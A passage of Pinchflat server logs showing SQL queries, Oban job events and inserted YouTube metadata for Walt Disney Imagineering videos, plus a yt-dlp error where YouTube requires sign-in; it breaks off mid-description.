s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:19.657 [debug] QUERY OK source="sources" db=0.1ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:19.658 [debug] QUERY OK source="media_items" db=0.5ms idle=2.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-20 00:00:00Z], 2] 18:55:19.660 [debug] QUERY OK source="media_items" db=1.6ms idle=2.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Step inside Mickey & Minnie’s Runaway Railway at Walt Disney World as we uncover the hidden secrets, Easter eggs, and behind‑the‑scenes stories shared directly by the Disney Imagineers who built the attraction.\n\n✨ What makes this special?\n• Imagineers reveal how Mickey & Minnie’s Runaway Railway uses groundbreaking techniques—including projection mapping, UV paint, and moving scenic elements\n• The attraction is filled with hidden details, from the most Hidden Mickeys in any Walt Disney World ride to a recurring Easter egg crab.\n• Behind‑the‑scenes engineering keeps the ride seamless for decades\n\n🎥 Behind-the-Scenes with Imagineers\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 Explore More Episodes\n👻 Haunted Mansion Secrets Revealed → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0Secrets\u00A0Revealed\u00A0|\u00A0Disney\u00A0...\u00A0\u00A0\n🚙 Test Track WED Rides with Disney Imagineers → \u00A0\u00A0\u00A0•\u00A0Test\u00A0Track\u00A0WED\u00A0Rides\u00A0with\u00A0Disney\u00A0Imagineers\u00A0\u00A0 \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → \u00A0\u00A0\u00A0•\u00A0Imagineer\u00A0Stories\u00A0at\u00A0Journey\u00A0of\u00A0Water,\u00A0Ins...\u00A0\u00A0\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0New\u00A0Queue\u00A0Landscaping\u00A0Tour...\u00A0\u00A0\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Queue\u00A0Tour\u00A0with\u00A0an...\u00A0\u00A0\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Ride-A-Long\u00A0with\u00A0D...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It", "77d85b33-363d-4159-90f4-2bafd47c62e1", "qq0aU6SBP_M", "https://www.youtube.com/watch?v=qq0aU6SBP_M", false, false, 7, "/downloads/Walt Disney Imagineering/2026-01-20 Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It/Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It [qq0aU6SBP_M].NA", false, false, 2, [], 98, ~U[2026-01-20 00:00:00Z], ~U[2026-03-30 22:55:19Z], ~U[2026-03-30 22:55:19Z], "Step inside Mickey & Minnie’s Runaway Railway at Walt Disney World as we uncover the hidden secrets, Easter eggs, and behind‑the‑scenes stories shared directly by the Disney Imagineers who built the attraction.\n\n✨ What makes this special?\n• Imagineers reveal how Mickey & Minnie’s Runaway Railway uses groundbreaking techniques—including projection mapping, UV paint, and moving scenic elements\n• The attraction is filled with hidden details, from the most Hidden Mickeys in any Walt Disney World ride to a recurring Easter egg crab.\n• Behind‑the‑scenes engineering keeps the ride seamless for decades\n\n🎥 Behind-the-Scenes with Imagineers\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 Explore More Episodes\n👻 Haunted Mansion Secrets Revealed → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0Secrets\u00A0Revealed\u00A0|\u00A0Disney\u00A0...\u00A0\u00A0\n🚙 Test Track WED Rides with Disney Imagineers → \u00A0\u00A0\u00A0•\u00A0Test\u00A0Track\u00A0WED\u00A0Rides\u00A0with\u00A0Disney\u00A0Imagineers\u00A0\u00A0 \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → \u00A0\u00A0\u00A0•\u00A0Imagineer\u00A0Stories\u00A0at\u00A0Journey\u00A0of\u00A0Water,\u00A0Ins...\u00A0\u00A0\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0New\u00A0Queue\u00A0Landscaping\u00A0Tour...\u00A0\u00A0\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Queue\u00A0Tour\u00A0with\u00A0an...\u00A0\u00A0\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Ride-A-Long\u00A0with\u00A0D...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It", "qq0aU6SBP_M", "https://www.youtube.com/watch?v=qq0aU6SBP_M", nil, false, "/downloads/Walt Disney Imagineering/2026-01-20 Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It/Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It [qq0aU6SBP_M].NA", false, 2, ~U[2026-01-20 00:00:00Z]] 18:55:19.660 [debug] QUERY OK source="sources" db=0.2ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:19.661 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:19.661 [debug] QUERY OK source="media_items" db=0.2ms idle=4.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7390] 18:55:19.661 [debug] Current batch of media processed. Will check again in 1000ms 18:55:19.737 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/6e/74/6e743ef5a2f8d3a3a763e0339b6a376e7fe038b5781486533a3fb6fd32399dc8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] D2bWh5wTlZ0: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 18:55:19.738 [error] yt-dlp download error for media item #11511: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] D2bWh5wTlZ0: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 18:55:19.738 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] D2bWh5wTlZ0: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 18:55:19.738 [info] {"args":{"id":11511},"id":1721,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2093251,"event":"job:stop","queue_time":1644464,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:55:20.662 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "🎄 Did you catch those hints of gingerbread, peppermint, and pine drifting down Main Street, U.S.A.? If so, you were probably watching Mickey's Once Upon a Christmastime Parade at Walt Disney World!\n\nIn this episode of Imagineer That!, Tom Morrow 2.0 investigates the magical tech and behind‑the‑scenes secrets Disney uses to add those unforgettable festive scents to this beloved holiday parade. From gingerbread houses to frosty peppermint blasts, we’re diving into how Imagineers make Christmas smell like magic!\n\n✅ What you’ll learn:\n• How Disney adds scents the the Christmas parade\n• Why scent and the other senses are important to Walt Disney Imagineering and Disney Live Entertainment\n• How a robot can finally smell for the first time ever\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎄 in the comments if you love the smells of the parade!\n\n#disneyliveentertainment #imagineerthat #disneychristmas", "filename" => "/downloads/Walt Disney Imagineering/2025-12-22 Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!/Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That! [KcrIWZOXOGg].NA", "id" => "KcrIWZOXOGg", "original_url" => "https://www.youtube.com/watch?v=KcrIWZOXOGg", "playlist_index" => 8, "title" => "Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!", "upload_date" => "20251222"} 18:55:20.663 [debug] QUERY OK source="sources" db=0.2ms idle=1001.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:20.664 [debug] QUERY OK source="sources" db=0.2ms idle=1001.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:20.664 [debug] QUERY OK source="media_items" db=0.5ms idle=925.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-22 00:00:00Z], 2] 18:55:20.667 [debug] QUERY OK source="media_items" db=1.7ms idle=919.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🎄 Did you catch those hints of gingerbread, peppermint, and pine drifting down Main Street, U.S.A.? If so, you were probably watching Mickey's Once Upon a Christmastime Parade at Walt Disney World!\n\nIn this episode of Imagineer That!, Tom Morrow 2.0 investigates the magical tech and behind‑the‑scenes secrets Disney uses to add those unforgettable festive scents to this beloved holiday parade. From gingerbread houses to frosty peppermint blasts, we’re diving into how Imagineers make Christmas smell like magic!\n\n✅ What you’ll learn:\n• How Disney adds scents the the Christmas parade\n• Why scent and the other senses are important to Walt Disney Imagineering and Disney Live Entertainment\n• How a robot can finally smell for the first time ever\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎄 in the comments if you love the smells of the parade!\n\n#disneyliveentertainment #imagineerthat #disneychristmas", "Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!", "1635dc02-deac-481e-a037-ca5dcb8abe94", "KcrIWZOXOGg", "https://www.youtube.com/watch?v=KcrIWZOXOGg", false, false, 8, "/downloads/Walt Disney Imagineering/2025-12-22 Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!/Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That! [KcrIWZOXOGg].NA", false, false, 2, [], 98, ~U[2025-12-22 00:00:00Z], ~U[2026-03-30 22:55:20Z], ~U[2026-03-30 22:55:20Z], "🎄 Did you catch those hints of gingerbread, peppermint, and pine drifting down Main Street, U.S.A.? If so, you were probably watching Mickey's Once Upon a Christmastime Parade at Walt Disney World!\n\nIn this episode of Imagineer That!, Tom Morrow 2.0 investigates the magical tech and behind‑the‑scenes secrets Disney uses to add those unforgettable festive scents to this beloved holiday parade. From gingerbread houses to frosty peppermint blasts, we’re diving into how Imagineers make Christmas smell like magic!\n\n✅ What you’ll learn:\n• How Disney adds scents the the Christmas parade\n• Why scent and the other senses are important to Walt Disney Imagineering and Disney Live Entertainment\n• How a robot can finally smell for the first time ever\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎄 in the comments if you love the smells of the parade!\n\n#disneyliveentertainment #imagineerthat #disneychristmas", "Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!", "KcrIWZOXOGg", "https://www.youtube.com/watch?v=KcrIWZOXOGg", nil, false, "/downloads/Walt Disney Imagineering/2025-12-22 Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!/Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That! [KcrIWZOXOGg].NA", false, 2, ~U[2025-12-22 00:00:00Z]] 18:55:20.667 [debug] QUERY OK source="sources" db=0.2ms idle=73.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:20.668 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:20.668 [debug] QUERY OK source="media_items" db=0.2ms idle=4.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5352] 18:55:20.668 [debug] Current batch of media processed. Will check again in 1000ms 18:55:20.780 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:21.669 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Discover the magic behind Pepper’s Ghost! This classic illusion has amazed guests for decades in Disney attractions like The Haunted Mansion and Tower of Terror. Learn how this effect was first introduced and how Walt Disney Imagineering has continued to innovate and expand its use over the years.\n\n✨ What makes this special?\n• Disney has been utilizing Pepper's Ghost for years in their attractions\n• The Pepper's Ghost effect has evolved to include video effects\n• Disney continues to push boundaries and innovate new ways to use the stage magic\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window 